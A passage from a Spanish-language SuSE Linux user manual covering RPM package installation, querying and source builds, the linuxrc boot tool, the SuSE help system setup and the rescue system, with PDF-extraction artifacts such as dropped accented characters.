Changes junto con las fuentes del kernel.
 PAM (ingl. Pluggable Authentication Modules): aparte de /etc/login.
defs ahora existen tambin /etc/securetty, /etc/security/
limits.conf y /etc/security/pam_env.conf. Los ficheros de
configuracin estn en /etc/pam.d. La documentacin para los
programadores y los administradores de sistema se encuentra en
pfad/usr/doc/packages/pam.
 La configuracin de idioma se efecta con variables en /etc/rc.
config; ver apartado 17.6, Pgina 387 y http://www.suse.de/sdb/
de/html/ml_locale_implementation.html. Si no le agradan los
mensajes en alemn, puede indicar directamente p. ej. en .bashrc:
export LANG=C
 En el caso de varios paquetes, los componentes necesarios para el desar-
rollo del software (libreras, ficheros header y include) han pasado
a ser paquetes separados; se trata de un procedimiento que ya se llev
a cabo en versiones anteriores. Estos paquetes solo sern necesarios
para desarrollos propios; p. ej. compilar paquetes de GNOME ms re-
cientes. Los paquetes de desarrollo se identifican normalmente con un
suplemente en el nombre como: dev o d; algunos ejemplos son: paque-
te xformsd, paquete glibndev, paquete gtkndev, paquete imlibdev,
paquete gnlibsd, etc.

360
15.3. RPM El gestor de paquetes

15.3 RPM El gestor de paquetes


Con la versin 5.0 de SuSE Linux, comenz el uso del RPM (rpm) (ingl.
Red Hat Package Manager), por lo que se facilita la gestin de los paquetes
para todos los implicados: los usuarios, los administradores de sistema y
finalmente los que generamos los paquetes. El amplio banco de datos de
RPM ofrece una gran cantidad de informacin sobre el software instalado.
La funcin rpm puede actuar de tres maneras distintas:

 generar paquetes listos para instalar desde las fuentes vrgenes (ingl. pris-
tine sources)
 instalacin, actualizacin y desinstalacin completa de los paquetes
 direccionar consultas al banco de datos RPM o a determinados archivos
RPM.

Los archivos RPM, listos para ser instalados, tienen un formato binario espe-
cial que incluye los ficheros con los programas e informacin adicional usada
por rpm. Esta informacin adicional se usa para configurar el software del
paquete o para la documentacin en el banco de datos RPM. Los archivos
RPM tienen la extensin .rpm.

15.3.1 Instalar, actualizar y desinstalar paquetes.

Por lo general la instalacin de un archivo RPM es muy sencilla:


tierra: # rpm -i <paquete>.rpm
Este comando estndar solamente instala un paquete si se cumplen todas las
dependencias, ya que de lo contrario podran aparecer conflictos; los
mensajes de error de rpm indican los paquetes que faltan para cumplir con las
dependencias. El banco de datos se ocupa de evitar conflictos: normalmente
un fichero debe pertenecer a un solo paquete; tambin hay diferentes opciones
que permiten pasar por alto esta regla, pero se debe estar muy seguro de ello
ya que se puede perder la posibilidad de actualizar el paquete.
Una opcin muy interesante para la actualizacin de un paquete es -U o
--upgrade. La versin anterior del mismo paquete se borra y la nueva se
instala mientras que rpm trata los ficheros de configuracin con cuidado,
apoyndose en la siguiente estrategia:

 Si el administrador de sistema no ha cambiado ningn fichero de config-


uracin, rpm instala la versin nueva y por lo tanto, el administrador de
sistema no tiene que intervenir de ninguna manera.
 Si el administrador de sistema ha cambiado un fichero de configuracin,
rpm guarda el fichero con la extensin .rpmorig o .rpmsave e instala
la nueva versin del paquete RPM, salvo que el archivo de configuracin
de esta nueva versin no haya cambiado su estructura. En el caso de
reemplazar el fichero de configuracin, es muy probable que sea nece-
sario adaptar el nuevo basndose en la copia con la extensin .rpmorig
o .rpmsave. Despus de esta adaptacin se deben borrar los ficheros

361
15. Actualizacin del sistema Gestin de paquetes

.rpmorig y .rpmsave para que estos no obstaculicen la siguiente actu-


alizacin1.
La opcin -U (Update) no es de ninguna manera equivalente a la secuencia
-e-i (Desinstalar/Borrar Instalar). Siempre que sea posible, es preferible
usar la opcin -U.

Despus de cada actualizacin es necesario controlar las copias de seguri-


dad con las extensiones .rpmorig o .rpmsave generados por rpm. En ca-
so de necesidad transfiera sus ajustes a los nuevos ficheros de configuracin
y borre despus los antiguos con las extensiones .rpmorig o .rpmsave.

Para borrar un paquete se procede de la siguiente manera:


tierra: # rpm -e <paquete>
rpm solo borra un paquete en caso de no existir ninguna dependencia. Por
lo tanto no es posible suprimir p. ej. Tcl/Tk si todava existe algn programa
que lo necesite para su ejecucin; esta funcionalidad se debe al control por
parte del banco de datos RPM.
Si en algn caso excepcional no es posible borrar un paquete aunque haya de-
jado de existir cualquier dependencia, es probable que el problema se resuelva
al generar de nuevo el banco de datos RPM, usando la opcin --rebuilddb
(las explicaciones sobre el banco de datos se pueden ver en el apartado 15.3.2,
Pgina 364).

15.3.2 Consultas
La opcin -q (ingl. query) permite direccionar consultas a los archivos RPM
(opcin -p <fichero_paquete>) tal como al banco de datos RPM. El tipo
de informacin a consultar depende de los banderines que figuran en la
Tabla 15.1.

-i Mostrar informacin sobre un paquete


-l Mostrar lista de ficheros del paquete
-f <Fichero>+ Consultar por el paquete que posee el fichero

<Fichero>; se precisa la especificacin de


<Fichero> con su rama completa!

-s Mostrar estado de los ficheros (implica -l)


-d Nombrar ficheros de documentacin (implica -l)
-c Nombrar ficheros de configuracin (implica -l)
--dump Mostrar toda la informacin de verificacin de todos
los ficheros (Uselo con -l, -c o -d!)

Tabla 15.1: Contina en la pgina siguiente ...


1 La extensin .rpmsave se selecciona cuando el banco de datos RPM ya conoce el fichero, en

caso contrario se usa .rpmorig. Dicho en otras palabras, los .rpmorig se generan cuando
se actualizan paquetes que no tienen formato RPM y los .rpmsave se generan actualizando
paquetes RPM antiguos con RPM nuevos.

362
15.3. RPM El gestor de paquetes

--provides Mostrar capacidad del paquete


--requires, -R Mostrar dependencias entre los paquetes
--scripts Mostrar los distintos scripts de desinstalacin

Tabla 15.1: Las opciones de consulta ms importantes (-q [-p] :::

<paquete>)

Por ejemplo el comando:


tierra: # rpm -q -i rpm
puede proporcionar la siguiente informacin:
Name : rpm Distribution: S.u.S.E Linux
Version : 2.4.1 Vendor: S.u.S.E. GmbH
Release : 1 Build Date: Wed Jun 18 14:46:53 1997
Install date: Sat Jun 21 12:01:21 1997 Build Host: Fibonacci.suse.de
Group : Source RPM: rpm-2.4.1-1.src.rpm
Size : 1365662
Packager : feedback@suse.de
URL : (none)
Summary : Red Hat Package Manager
Description :
RPM is a powerful package manager, which can be used to build, install,
query, verify, update, and uninstall individual software packages. A
package consists of an archive of files, and package information,
including name, version, and description.

La opcin -f solo funciona cuando se indica el nombre de fichero completo


con la rama incluida; se pueden indicar tantos ficheros como se desee. Por
ejemplo el comando:
rpm -q -f /bin/rpm /usr/bin/wget

resulta en:
rpm-2.4.1-1
wget-1.4.5-2

Si solo se conoce una parte del nombre del fichero, se puede obtener ayuda
mediante un script (ver el Fichero 15.3.1) al cual se pasa, como parmetro, el
nombre del fichero buscado.

#! /bin/sh
for i in `rpm -q -a -l | grep $1 `; do
echo $i est en el paquete:
rpm -q -f $i
echo ""
done

Fichero 15.3.1: Script para bsqueda de paquetes

El banco de datos tambin permite efectuar verificaciones; stas se introducen


con la opcin -V (equivalente a -y o --verify). Con la verificacin rpm

363
15. Actualizacin del sistema Gestin de paquetes

muestra todos los ficheros del paquete que han sido modificados desde su
instalacin original. rpm coloca hasta 8 letras por delante del nombre de
fichero que indican los siguientes cambios:

5 Nmero de control MD5


S Tamao de fichero
L Enlace simblico
T Tiempo de modificacin
D Nmero de dispositivo major y minor (ingl. device number)
U Usuario (ingl. user)
G Grupo (ingl. group)
M Modo (con derecho y tipo)

Tabla 15.2: Las verificaciones

Para los ficheros de configuracin aparece como valor adicional la letra c,


como lo muestra el ejemplo para el fichero /etc/wgetrc del paquete wget,
que ha sido modificado:
tierra: # rpm -V wget
S.5....T c /etc/wgetrc

Los ficheros del banco de datos RPM se encuentran en /var/lib/rpm. Estos


pueden ocupar hasta 20 MB para una particin /usr de 500 MB, especial-
mente despus de una actualizacin completa. Si el banco de datos parece de-
masiado grande, se puede reducir su tamao usando la opcin --rebuilddb;
antes de reconstruir el banco de datos se debe hacer una copia de la existente.
El script cron.daily genera diariamente copias comprimidas del banco de
datos y las guarda en /var/adm/backup/rpmdb. El nmero de estas copias
est definido por la variable <MAX_RPMDB_BACKUPS>, cuyo valor por
defecto es 5, pero se puede modificar en /etc/rc.config. Cada respaldo
ocupa aproximadamente 2 MB para una particin /usr de 500 MB. Se trata
de un gasto de espacio que se debe tener en cuenta al determinar el tamao
de la particin raz, salvo que se cree una particin propia para /var.

15.3.3 Instalar y compilar los paquetes fuente

Todos los paquetes con fuentes (ingl. Sources) se encuentran en la serie zq y


llevan la extensin .spm; estos archivos se llaman Source-RPMs.

Los paquetes con fuentes se pueden instalar con YaST como cualquier otro
paquete, con la diferencia que, estos no se marcan como instalados, con
una [i], como ocurre con los paquetes regulares. Por esta razn los
paquetes fuente no figuran en el banco de datos RPM, ya que ste solo
anota el software instalado.

364
15.3. RPM El gestor de paquetes

Si no hay ninguna configuracin personal activada (p. ej. a travs del fichero
/etc/rpmrc), los directorios de trabajo de rpm deben existir por debajo de
/usr/src/packages. Estos son:
SOURCES para las fuentes originales (ficheros-.tar.gz, etc.) y para las
adaptaciones especficas de las distintas distribuciones (ficheros-.dif).
SPECS para los ficheros-.spec, que controlan el proceso build y de este
modo actan como Makefiles.
BUILD por debajo de este directorio se desempacan o se compilan las fuentes;
tambin se aaden a ste los parches.
RPMS en ste se graban los paquetes completos en formato binario.

No deben hacerse experimentos de RPM con los componentes clave del


sistema como paquete libc, paquete rpm, paquete nkit, etc., porque se
estara poniendo en peligro el buen funcionamiento del sistema!

Al instalar con YaST un paquete de fuentes de la serie zq, todos los com-
ponentes necesarios para el proceso build se copian en el directorio /usr/
src/packages: Las fuentes y los parches se van al directorio SOURCES y
el fichero-.spec correspondiente se copia en el directorio SPECS2. Toman-
do como ejemplo el paquete wget.spm, despus de ser instalado con YaST,
aparecern los siguientes ficheros:
/usr/src/packages/SPECS/wget.spec
/usr/src/packages/SOURCES/wget-1.4.5.dif
/usr/src/packages/SOURCES/wget-1.4.5.tar.gz
Con el comando rpm -b <X> /usr/src/packages/SPECS/wget.spec
comienza la compilacin. La variable <X> puede representar diferentes
pasos, de los cuales aqu figuran algunos (ver tambin la ayuda que aparece
con la opcin help o la documentacin de RPM):

-bp preparar las fuentes en el directorio /usr/src/packages/BUILD; de-


sempacar y poner los parches
-bc igual a -bp, pero con compilacin.
-bi igual a -bc, pero con instalacin del paquete. Cuidado: Si hay algn
paquete que no soporte la caracterstica BuildRoot, es posible que durante
la instalacin se sobreescriban algunos ficheros de configuracin impor-
tantes!
-bb igual a -bi, pero con generacin adicional del Binary-RPM que se
encuentra en caso de xito en el directorio /usr/src/packages/RPMS.
-ba igual a -bb, pero genera adicionalmente el Source-RPM que se en-
cuentra, en caso de xito, en el directorio /usr/src/packages/SRPMS.

La opcin --short-circuit permite saltarse determinados pasos.


El Binary-RPM se instala finalmente con rpm -i, o mejor con rpm -U,
para que aparezca en el banco de datos RPM.

2 Respecto a la generacin propia de paquetes (ingl. build mode) ver [Bai97] y la Manpage de
rpm (man rpm).

365
15. Actualizacin del sistema Gestin de paquetes

15.3.4 Herramientas para los archivos RPM y el banco de datos RPM


El Midnight Commander (mc) es capaz de mostrar el contenido de un archi-
vo RPM y copiar partes de l. El archivo RPM se refleja en un sistema de
ficheros virtual para el cual se ponen a disposicin todas las opciones del
men del mc. La informacin de los encabezamientos del fichero HEADER
 ; con las teclas del cursor y  - se puede pasar por la es-
se visualiza con F3     .
tructura del archivo y en caso de necesidad copiar componentes usando F5 
Por otra parte, ya existe rpm.el para Emacs, que es un Frontend para
rpm :-)
xrpm es el nombre de un gestor grfico de RPM realizado con Python, un
lenguaje de scripts sofisticado. xrpm soporta la gestin de paquetes va
FTP.
KDE incluye la herramienta krpm, que es una interfaz grfica del Sis-
tema X Window para la gestin de RPM; en caso de GNOME se incorpora
gnorpm.
Alien (alien) permite la conversin de los formatos de las distintas distribu-
ciones. Con este programa se puede intentar convertir, antes de la instalacin,
los archivos antiguos del tipo TGZ al formato RPM, para que el banco de
datos RPM reciba durante la instalacin la informacin de los paquetes. Pero
cuidado: alien es un script de Perl y segn sus autores todava se encuentra
en fase alfa, aunque ya ha alcanzado un nmero de versin alto.
Finalmente existe YaST y su funcionamiento se explica en el apartado 3.5.9,
Pgina 88.

366
Captulo 16
Especialidades de SuSE Linux

16.1 Distribucin de teclado


Para normalizar la distribucin del teclado de los distintos programas, se
modificaron los siguientes ficheros:
/etc/inputrc
/usr/X11R6/lib/X11/Xmodmap
/etc/skel/.Xmodmap
/etc/skel/.exrc
/etc/skel/.less
/etc/skel/.lesskey
/etc/csh.cshrc
/etc/termcap
/usr/lib/terminfo/x/xterm
/usr/X11R6/lib/X11/app-defaults/XTerm
/usr/share/emacs/20.3/site-lisp/term/*.el
/usr/lib/joerc
Estas modificaciones solo tienen efecto sobre las aplicaciones que leen los
parmetros terminfo o sobre aquellas cuyos ficheros de configuracin
fueron modificados directamente (vi, less, etc.). Se recomienda adaptar
otras aplicaciones no-SuSE a estas definiciones.

367
16. Especialidades de SuSE Linux

16.2 linuxrc
linuxrc es un programa que se comienza a ejecutar durante el inicio del
kernel, antes de arrancar realmente1. Esta propiedad es muy ventajosa, ya
que permite arrancar un kernel pequeo y modularizado, haciendo posible
cargar como mdulos los pocos drivers que realmente se necesitan. Esto se
puede hacer incluso desde un segundo disquete.
linuxrc ayuda a cargar los drivers relevantes para el hardware y no solo sirve
para la instalacin sino tambin como herramienta de arranque para el sistema
Linux instalado, formando as una especie de disquete de rescate. Tambin
sirve para resolver algn problema grave en el disco duro o simplemente
cuando se ha olvidado la contrasea de `root', ya que es posible arrancar
un sistema de rescate a base de un RAM-Disk.

Men principal
Despus de haber ajustado idioma, pantalla y teclado se entra al men princi-
pal de linuxrc (ver Figura 2.3, Pgina 20).
El punto a dnde llegar es en este momento la opcin `Iniciar la
instalacin / Sistema'. Poder entrar en esa opcin depende direc-
tamente del hardware de la computadora:
Si el kernel reconoce directamente todos los componentes necesarios para la
instalacin, no hace falta cargar ningn driver adicional. Este es el caso para
computadoras que solo tienen dispositivos conectados a una controladora del
tipo (E)IDE.
Si la computadora tiene una controladora SCSI y la necesita para la insta-
lacin2 , entonces hace falta cargar un mdulo SCSI. Lo mismo para el caso
en el que se efecta la instalacin a travs de una red ya que para ello hay que
cargar primero un driver (en forma de mdulo de kernel) para la tarjeta red.
Finalmente existen algunos lectores CD-ROM antiguos que fueron sumin-
istrados con su propia tarjeta controladora y por tanto necesitan sus propios
mdulos de kernel. Tambin hace falta cargar mdulos cuando se estn usan-
do tarjetas PCMCIA en un porttil.

Informacin del sistema


Si no se sabe exactamente qu hardware tiene la computadora, pueden servir
de ayuda los mensajes del kernel que aparecen durante el arranque.
Con la opcin `Informacin del sistema' (Figura 16.1, Pgina 369) no
solo se pueden ver los mensajes del kernel sino tambin otros datos impor-
tantes como las direcciones de entrada y salida (ingl. I/O address) de las tar-
jetas PCI o el tamao de la memoria principal.
Las siguientes lneas muestran cmo se presentan un disco duro y un lector
CD-ROM conectados a una controladora EIDE. Es el caso en el que no hace
falta cargar ningn mdulo del kernel para la instalacin:
1 El kernel tiene que estar configurado adecuadamente.
2 De momento no hace falta contemplar una controladora que p. ej. solo conecta a un escner

368
16.2. linuxrc

Figura 16.1: Informacin del sistema

hda: ST32140A, 2015MB w/128kB Cache, LBA, CHS=1023/64/63


hdb: CD-ROM CDR-S1G, ATAPI CDROM drive
Partition check:
hda: hda1 hda2 hda3 < hda5 >

Por otra parte, si se ha arrancado con un kernel que incorpora un driver de SC-
SI, tampoco hace falta cargar ningn mdulo SCSI adicional. Las siguientes
lneas muestran un mensaje tpico de reconocimiento de una controladora
SCSI y de los dispositivos conectados:
scsi : 1 host.
Started kswapd v 1.4.2.2
scsi0 : target 0 accepting period 100ns offset 8 10.00MHz FAST SCSI-II
scsi0 : setting target 0 to period 100ns offset 8 10.00MHz FAST SCSI-II
Vendor: QUANTUM Model: VP32210 Rev: 81H8
Type: Direct-Access ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
scsi0 : target 2 accepting period 236ns offset 8 4.23MHz synchronous SCSI
scsi0 : setting target 2 to period 248ns offset 8 4.03MHz synchronous SCSI
Vendor: TOSHIBA Model: CD-ROM XM-3401TA Rev: 0283
Type: CD-ROM ANSI SCSI revision: 02
scsi : detected 1 SCSI disk total.
SCSI device sda: hdwr sector= 512 bytes. Sectors= 4308352 [2103 MB] [2.1 GB]
Partition check:
sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 >

Carga de mdulos
Aqu se puede elegir qu tipo de mdulo se necesita. Si se ha arrancado desde
disquete, linuxrc carga los datos necesarios y los presenta para elegir.
Si se ha arrancado desde el CD o desde DOS con loadlin, todos los mdulos
ya estn a disposicin de linuxrc. Esto evita la demora en cargar, pero gasta
ms memoria, lo que significa que se debe arrancar desde disquete si la com-
putadora tiene menos de 8 MB RAM, ya que todos los drivers que se carguen
arrancando desde CD no tendrn suficiente espacio.

369
16. Especialidades de SuSE Linux

Figura 16.2: Cargar mdulos

linuxrc ofrece los drivers disponibles en una lista. A la izquierda se ve el


nombre de cada mdulo y a la derecha una breve descripcin del hardware
para el cual est hecho el mdulo (driver).
Para algunos dispositivos hay varios drivers o drivers recientes en fase alpha.
Estos se ofrecen tambin aqu.

Figura 16.3: Seleccin de los drivers SCSI

Introduccin de parmetros

 . Aparece una pantalla con la


Si se ha encontrado el driver que corresponde al hardware, se coloca el cursor
sobre la lnea en cuestin y se pulsa  - 
posibilidad de introducir parmetros que pasarn al mdulo que se cargue.
En apartado 14.3.4, Pgina 333 hay explicaciones ms detalladas sobre los
parmetros de mdulo.

370
16.2. linuxrc

Figura 16.4: Introduccin de los parmetros para la carga de los mdulos

Hay que tener en cuenta aqu, que mltiples parmetros deben estar separados
por espacios, contrastando con la introduccin de parmetros en el prompt del
kernel (LILO o SYSLINUX).
Por lo general no hace falta especificar el hardware, porque la mayora de los
drivers encuentran los componentes por s mismos. Solamente las tarjetas de
 
red y lectores CD-ROM con controladora propia exigen a veces la indicacin
de parmetros. De todos modos se puede probar sencillamente pulsando  - 
sin pasar ningn parmetro.
Algunos mdulos necesitan un buen tiempo para reconocer e inicializar el
hardware. Cambiando a la consola virtual 4 es posible ver los mensajes del
kernel durante la carga del mdulo. Sobre todo las controladoras SCSI son las
que se toman su tiempo durante la carga, ya que esperan un rato la respuesta
de todos los dispositivos conectados.
Cuando se haya cargado el mdulo exitosamente, linuxrc muestra los men-
sajes del kernel, as que es posible asegurarse del xito de la operacin. Si no
es as, los mensajes pueden servir para encontrar la razn del fracaso.

Iniciar la instalacin / Sistema

Una vez conseguido el soporte completo del hardware necesario para la


instalacin, se puede pasar a la opcin `Iniciar la instalacin /
Sistema'.
En este punto (Figura 16.5, Pgina 372) se puede comenzar con una serie de
procesos: `Comenzar la instalacin' (desde aqu comienza tambin la
actualizacin), `Iniciar el sistema instalado' (hace falta conocer la
particin raz), `Iniciar sistema de rescate' (ver apartado 16.4, Pgi-
na 376) e `Iniciar Live-CD' 3 .
3 Hay que adquirir el Live-CD por separado abonando una cuota de proteccin

371
16. Especialidades de SuSE Linux

Figura 16.5: Destino final de linuxrc

La opcin `Iniciar Live-CD' es bastante til a la hora de comprobar


la compatibilidad de una determinada computadora o de un porttil con
Linux. Para ello no hace falta hacer una instalacin real en el disco duro.
Se trata de una prueba que se podra efectuar sin ms en cualquier tienda
de PCs moderna!

Figura 16.6: Seleccin del medio fuente en linuxrc

Se pueden elegir diferentes fuentes para la instalacin (Figura 16.6, Pgi-


na 372) y tambin para generar un sistema de rescate (Figura 16.8, Pgi-
na 377).

372
16.3. El sistema de ayuda para SuSE Linux

16.3 El sistema de ayuda para SuSE Linux


El sistema de ayuda se compone de muchas partes y se puede obtener de
manera simple a travs de cualquier navegador (ver Figura 1.1, Pgina 8 o en
Figura 16.7, Pgina 373).
El componente principal del sistema se encuentra en el paquete susehilf,
serie doc (Dokumentation). Segn la demanda de funcionalidad y contenido
hace falta instalar unos paquetes adicionales que figuran ms abajo (el pro-
ceso de instalacin se explica en el apartado 3.5.3, Pgina 85). Los paquetes
esenciales se instalan automticamente cuando se ejecuta la instalacin estn-
dar de YaST, as que, no cunda el pnico si se encuentra en este momento un
poco perdido;-)

Figura 16.7: Primera pgina del sistema de ayuda (lynx)

paquete apache, serie n: Apache, el servidor WWW local.


paquete sdb, serie doc: El paquete bsico con la funcin de bsqueda para
la SDB.
paquete sdb_de, serie doc: Los textos del banco de datos de soporte
(SDB), en alemn.
paquete sdb_cgi, serie doc: Funcin de bsqueda para el SDB.
paquete susepak, serie doc: Por si hay inters en estudiar la descripcin de
los paquetes con calma : : :
paquete howtodeh, serie doc: Los documentos Howto, en alemn.
paquete howtoenh, serie doc: Los documentos Howto, versin inglesa
(generalmente ms actualizados que las traducciones).
paquete ldp, serie doc: Libros, FAQs, etc. del Linux Documentation
Project (LDP) en HTML.
paquete rman, serie ap: Contiene http-rman.
paquete inf2htm, serie doc: Con este paquete se pueden leer los documen-
tos del tipo Texinfo con un navegador (ver apartado 1.4.3, Pgina 8); los
documentos se convierten en el acto (ingl. on-the-fly).

373
16. Especialidades de SuSE Linux

paquete dochost, serie n: Un conjunto de programas para un servidor cen-


tral de documentos en la red. Consultar la documentacin en /usr/doc/
packages/dochost/README.SuSE!
paquete htdig, serie n: Sirve para generar un ndice de todos los documen-
tos del tipo WWW que se encuentran en una computadora (o en la red
local); la computadora se convierte en una pequea mquina de bsqueda
del web.
El paquete dochost y el paquete htdig no son obligatorios, pero pueden
resultar tiles para alcanzar la funcionalidad total.

16.3.1 Configuracin para estacin de trabajo o servidor


Configurar en el fichero /etc/rc.config las variables para una estacin de
trabajo tal y como estn listadas en el Fichero 16.3.1, Pgina 374 (lo mejor
es hacerlo con YaST tal como se explica en Pgina 393 y ms explcito en
el apartado 3.7.10, Pgina 101). Aqu suponemos que el sistema se llama
sol.cosmos.univ, si no fuese as, se deben usar los nombres asignados.

START_INETD="yes"
START_HTTPD="yes"
DOC_SERVER="yes"
DOC_HOST="sol.cosmos.univ"
DOC_ALLOW="LOCAL.cosmos.univ"

Fichero 16.3.1: /etc/rc.config para estacin de trabajo o servidor

El inetd (ingl. inet daemon) debe ser iniciado en todo caso, ya que se necesita
este daemon p. ej. para el acceso a las Manpages va http-man.
Hay que asegurarse de iniciar el servidor HTTP (apache) cuando el sistema
arranca; para ello se responde yes en <START_HTTPD>
<DOC_SERVER> determina si se van a proporcionar documentos desde

esta computadora; esta variable tambin debe tener el valor yes cuando se
trata de una estacin de trabajo, ya que en estos casos la estacin es a su vez
el servidor de la informacin. <DOC_HOST> es el nombre del servidor de
documentos (aqu: sol.cosmos.univ). En <DOC_ALLOW> se apuntan
todas las computadoras y dominios que deben tener el permiso de acceso a
la documentacin (los Manpages). Si se quiere dar acceso a un dominio
completo, no hay que olvidar el `.' en frente del nombre de dominio!

Tenga en cuenta que hace falta ejecutar SuSEconfig despus del cam-
bio de cualquier variable en /etc/rc.config. Trabajando con YaST
SuSEconfig se ejecuta automticamente.

La bsqueda de texto no funciona antes de generar los ndices para ht://Dig


(paquete htdig). Estos ndices ocupan actualmente alrededor de 70 MB.
Cuando se est inicializando el banco de datos debe haber un mnimo de
200 MB de espacio en el directorio /opt/www/htdig. La inicializacin se
efecta con el siguiente comando:

374
16.3. El sistema de ayuda para SuSE Linux

tierra:~ # suserundig
El script /usr/sbin/suserundig evala el fichero de configuracin /opt/
www/htdig/conf/susedig.conf y genera los ndices. En caso de cambiar
los datos (p. ej. despus de una actualizacin de los documentos HTML) hay
que ejecutar suserundig de nuevo.

16.3.2 Configuracin para una computadora en modo cliente


Tal vez no se desea instalar la documentacin completa en todas las com-
putadoras de una red local; si es as, se ha de aprovechar el concepto cliente-
servidor. En la computadora que figura como cliente solamente se instala
el paquete dochost, serie n y se definen las variables en /etc/rc.config
como se muestra en el Fichero 16.3.2, Pgina 375.

DOC_SERVER="no"
DOC_HOST="sol.cosmos.univ"
DOC_ALLOW=""

Fichero 16.3.2: /etc/rc.config para una mquina Cliente

Por supuesto que esto solo funciona si la documentacin est realmente


instalada en sol.cosmos.univ!

16.3.3 Usar el sistema de ayuda


Si se ha instalado el sistema de ayuda (como se ha explicado arriba), es
posible acceder a l con el comando susehelp. Otra posibilidad es la de
indicar directamente el URL http://localhost/doc/susehilf/index.
html o http://sonne.kosmos.all/doc/susehilf/index.html en un
navegador WWW. Evidentemente, sol.cosmos.univ solo funciona si ha
llamado de este modo a la computadora o al servidor de documentos.

375
16. Especialidades de SuSE Linux

16.4 El sistema de rescate de SuSE


Introduccin
SuSE Linux contiene independientemente del sistema de instalacin un
sistema de rescate autnomo4 que permite acceder desde afuera a todas las
particiones de Linux en los discos duros. El sistema de rescate contiene entre
otras una buena seleccin de utilidades para brindar suficientes herramientas
que permitan arreglar una serie de problemas, p. ej. respecto a la falta de
acceso a los discos o respecto a problemas con ficheros de configuracin.
El sistema de rescate se forma de un disquete de arranque o de un SuSE
Linux-CD arrancable y de un sistema de fichero de rescate, cuyo origen puede
ser un disquete, un CD, la red o incluso el servidor-FTP de SuSE.
Es posible generar el disquete de arranque a partir de la imagen correcta en
el CD bajo /disks. A parte de este disquete de arranque no se necesita ms
que el fichero /disks/rescue, que contiene la imagen comprimida de un
pequeo sistema de fichero raz. Este fichero se copia a un segundo disquete
de rescate con los comandos de Linux:
tierra: # /sbin/badblocks -v /dev/fd0 1440
tierra: # dd if=/cdrom/disks/rescue of=/dev/fd0 bs=18k
o con los equivalentes de DOS (suponiendo aqu que Q: representa el lector
CD-ROM bajo DOS):
Q:\> cd \dosutils\rawrite
Q:\dosutils\rawrite> rawrite.exe
para luego cargar todo el sistema desde este disquete y el de arranque.
No se puede montar el disquete de rescate ya que no contiene ningn sistema
de fichero, sino la imagen comprimida de uno (una imagen no comprimida
de unos 3 MB resulta demasiado grande para un disquete). No obstante, si se
desea verla alguna vez, se debe descomprimir esa imagen y despus montarla
como usuario `root'. Esto supone que el kernel soporta el loop-Device y
funciona del siguiente modo:
tierra: # cp /cdrom/disks/rescue /root/rescue.gz
tierra: # gunzip /root/rescue.gz
tierra: # mount -t ext2 -o loop /root/rescue /mnt
Ahora se puede ver el contenido del sistema de rescate montado en el direc-
torio /mnt.

Siempre se debe mantener un par de disquetes de arranque y de rescate en


un lugar seguro. El pequeo esfuerzo para generar y mantenerlos no tiene
comparacin con el trabajo y la prdida de tiempo que representa no tener
nada en un caso de emergencia.

Iniciar sistema de rescate


El sistema de rescate se inicia como la instalacin desde el disquete de ar-
ranque o desde el CD 1 si la BIOS de la computadora lo soporta. Los pasos a
seguir son los siguientes:
4 En realidad ya son dos sistemas o, incluso 3, si se quiere contemplar tambin el sistema de

fichero Live como un sistema de rescate.

376
16.4. El sistema de rescate de SuSE

 Requisito: Se puede arrancar desde la disquetera o desde el lector CD-


ROM (si este no fuera el caso se tendra que cambiar el orden de arranque
en la BIOS).
 Arrancar el sistema con el disquete o el CD 1.
 Ajustar el idioma, el teclado, etc. en linuxrc hasta llegar al men princi-
pal.
 Seleccionar en el men principal `Iniciar la instalacin, sistema'.
 Si se ha arrancado con el disquete de arranque, se introduce el CD de
instalacin o el disquete (rescue) con la imagen comprimida del sistema
de rescate.

Figura 16.8: Eleccin del medio fuente del sistema rescue

 En el men `Iniciar la instalacin, sistema' se selecciona


la opcin `Iniciar sistema de rescate' (ver Figura 16.5, Pgi-
na 372) y se indica despus el medio fuente (Figura 16.8, Pgina 377):
`CD-ROM': Esta es la opcin normal. linuxrc procede a cargar un
sistema confortable de rescate (.../suse/images/rescue). Para
poder ir por este camino hace falta un mnimo de 16 MB de memoria
RAM (mejor 24 MB). Si hay menos memoria habr que usar la opcin
`Disquete'. Adems, el directorio /cdrom se exporta, lo que permite
arrancar cmodamente el sistema de rescate y despus efectuar una
instalacin de red desde el mismo CD (para ello hay que configurar
adecuadamente las variables en /etc/rc.config y ejecutar despus
SuSEconfig; ver apartado 17.5, Pgina 385).
`Red (NFS)': Acceder al sistema rescue por red va NFS. Para ello
hace falta cargar anteriormente el driver de la tarjeta de red; ver tam-
bin las indicaciones generales en el apartado 2.5.2, Pgina 39.
`Red (FTP)': Acceder al sistema rescue por red va FTP. No olvidar
el driver de red!
`Disco duro': Cargar el sistema rescue desde el disco duro.

377
16. Especialidades de SuSE Linux

`Disquete': Arrancar el sistema rescue desde un disquete como se ha


indicado antes. Se trata de una variante que funciona tambin cuando
la computadora tiene poca memoria RAM.

Ahora se descomprime el sistema de rescate y se carga como nuevo sistema


de fichero raz en un RAM-Disk (disco virtual), se monta, arranca y queda
as operativo.

Trabajar con el sistema de rescate


  
El sistema de rescate proporciona, con las teclas Alt + F1 
  
hasta Alt + F3 
,
tres diferentes consolas virtuales en las que se puede efectuar un login (entrar
en el sistema) como usuario `root' sin necesidad de contrasea. Con las
  
teclas Alt + F10 se llega a la consola de sistema para ver los mensajes del
kernel y de syslog.
En el directorio /bin se encuentran las shells y las utilidades (p. ej. mount)
y un conjunto de utilidades para ficheros y red, como p. ej. e2fsck, que sirve
para comprobar y arreglar sistemas de fichero. En /sbin se encuentran tam-
bin los binarios ms importantes para la administracin del sistema como
fdisk, mkfs, mkswap, init, shutdown y para el uso de red ifconfig, route y
netstat.
Bajo /usr/bin se encuentra el editor vi al igual que las herramientas (grep,
find, less, etc.) y sobre todo telnet.

Ejemplo: Acceso al sistema normal

Como punto de montaje del sistema Linux en el disco duro, est previsto el
directorio /mnt, lo que no impide generar otros directorios y usarlos como
puntos de montaje.
Supongamos que el sistema normal contiene segn /etc/fstab las parti-
ciones Linux, como en el ejemplo del Fichero 16.4.1, Pgina 378.

/dev/sdb5 swap swap defaults 0 0


/dev/sdb3 / ext2 defaults 1 1
/dev/sdb6 /usr ext2 defaults 1 2

Fichero 16.4.1: Ejemplo de /etc/fstab

En este caso se puede montar el sistema paso por paso bajo /mnt usando los
siguientes comandos (Vigilar el orden!):
tierra:/ # mount /dev/sdb3 /mnt
